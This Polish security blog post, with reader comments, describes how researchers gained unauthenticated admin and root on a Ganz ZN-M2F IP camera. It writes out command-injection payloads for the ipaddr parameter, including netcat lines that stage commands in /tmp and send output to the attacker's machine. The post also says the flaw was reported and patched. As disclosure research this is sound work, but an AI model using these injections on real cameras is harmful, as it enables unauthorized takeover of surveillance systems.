Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Jak przejąc kamerę CCTV?
Tym razem wzięliśmy na warsztat kamerę Ganz Security – model ZN-M2F (cena to około 2500 zł). Udało nam się tam uzyskać uprawnienia root bez uwierzytelnienia.
Ganz Security? To znana na Zachodzie firma:
The Ganz brand is currently used by more than 100,000 businesses and research and development institutions in the world, and providing products and systems as well as accompanying support and service. Various products are available such as analog surveillance cameras, network surveillance cameras. (…) Ganz began as a brand of surveillance camera products and peripheral equipment products in 1998.
Po niewielkim wysiłku można znaleźć nazwy organizacji, w których wdrażane są rozwiązania Ganz (choć oczywiście nie jest napisane które dokładnie): FBI Headquarters, NJ Department of Transportation, NYPD, Singapore Police Station (All Branches), Spawar Command (NAVY), The British Embassy, The White House, US Coast Guard, Barclays, Citibank, Charter One Bank.
Z prywatnych wrażeń – kamery Ganza można znaleźć na lotniskach, w monitoringu miejskim czy w McDoland’s – choć muszę przyznać że poza Polską.
Po co ten przydługi wstęp? Widzicie po nim, że producent jest sensowny i wdraża dużo, w dość znanych organizacjach.
Zacznijmy więc od trzęsienia ziemi, a później zrobi się tylko ciekawiej ;). Na początku wita nas taki oto standardowy ekran logowania.
Jak się dostać do hasła? Tak:
Jak widać, poza hasłami dostępnymi jawnie, mamy tu jeszcze użytkownika s_admin (normalnego nie jest on widoczny w panelu zarządczym). Super Admin? Wpisujemy dane logowania i…:
Mamy więc admina bez uwierzytelnienia. Ale oczywiście ba tym nie poprzestaniemy :-) Zobaczmy czy da się zdobyć uprawnienia roota. Być może hardkorowi czytelnicy Sekuraka pamiętają o podatności w TP-Linkach, którą udało nam się namierzyć w 2016 roku. Tutaj jest nieco podobnie:
Przechwytujemy ten request HTTP w narzędziu Burp Suite i mamy:
Czy da się tu wykonać kod w systemie operacyjnym? Zobaczmy:
Ale to nie działa (w body odpowiedzi HTTP nic nie widzimy…). Mamy tu prawdopodobnie walidację, która sprawdza czy długość wartości zmiennej ipaddr nie jest większa od 15 znaków. Ale zobaczmy coś takiego:
Voilà:
Teraz spróbujmy uzyskać uprawnienia roota. Okazuje się, że na kamerze domyślnie zainstalowany jest netcat (binarka nc). Będzie więc prosto? Niekoniecznie. Uruchomienie nc -l -p 1 -e /bin/sh to aż 21 znaków (mamy do wykorzystania 14 – bo użyć musimy jeszcze średnika). Jak można się spodziewać – nie działa:
Spróbujmy skrócić: nc -lp1 -e /bin/sh
Dalej za długo. Może tak: nc -le /bin/sh ? Mamy tu w końcu 14 znaków! (nc będzie nasłuchiwał na losowym, wysokim porcie). Po ten niewielkiej gimnastyce pracy okazuje się jednak, że… wbudowany w kamerę netcat nie obsługuje przełącznika -e (umożliwiającego w naszym przypadku udostępnienie shella na porcie). Spróbujmy zatem czegoś innego. Zacznijmy od wstrzyknięcia takiego polecenia:
- ;nc -lp1>/tmp/b
Na porcie 1 na kamerze nasłuchujemy na polecenie, które znajdzie się w /tmp/b - echo 'ps aux’ | nc 192.168.1.105 1
Wysyłamy polecenie z komputera do kamery - ;/bin/sh /tmp/b
I jeszcze jedno wstrzyknięcie – finalnie odpalające polecenie.
Sukces? Ale… gdzie jest wynik? Nie ma ;-)
Potrzebna jest jeszcze mała optymalizacja: w punkcie 2. powyżej nie wstrzykniemy samego polecenia, tylko coś w rodzaju: ps aux | nc 192.168.1.100 1234 gdzie 192.168.1.100 to adres IP mojego laptopa z uruchomionym wcześniej netcatem nasłuchującym na porcie 1234 (tu na koniec zobaczymy wynik polecenia z kamery). Całość wystarczy w prosty sposób oskryptować:
Podatność została do producenta zgłoszona pod koniec w 2016 roku. Podatność została potwierdzona i otrzymaliśmy też informację o jej załataniu.
–Michał Sajdak, działa w Securitum.
W pkt. 2 nie powinno być?
echo 'ps aux’ | nc 192.168.1.105 1
@Marcin – oczywiście że tak – zmienione.
niezle! bedzie tez Bosh ?
coś tam już jest: https://sekurak.pl/hackowanie-kamery-bosch-za-pomoca-wget/
Jak odkryliście plik /.tmp/passwd ? dirb i inne automaty, czy inna technika?
Jak namierzyliscie password w tmp? Jakis re firmware?
analiza filesystemu mając buga z drugiej części
Tak całkiem technicznie jest to kamera IP (czasami CCTV-IP), a nie CCTV (analog), ale to drobiazg.
Czy dla tego buga /.tmp/passwd został przydzielony numer CVE (np. w https://cve.mitre.org/) ?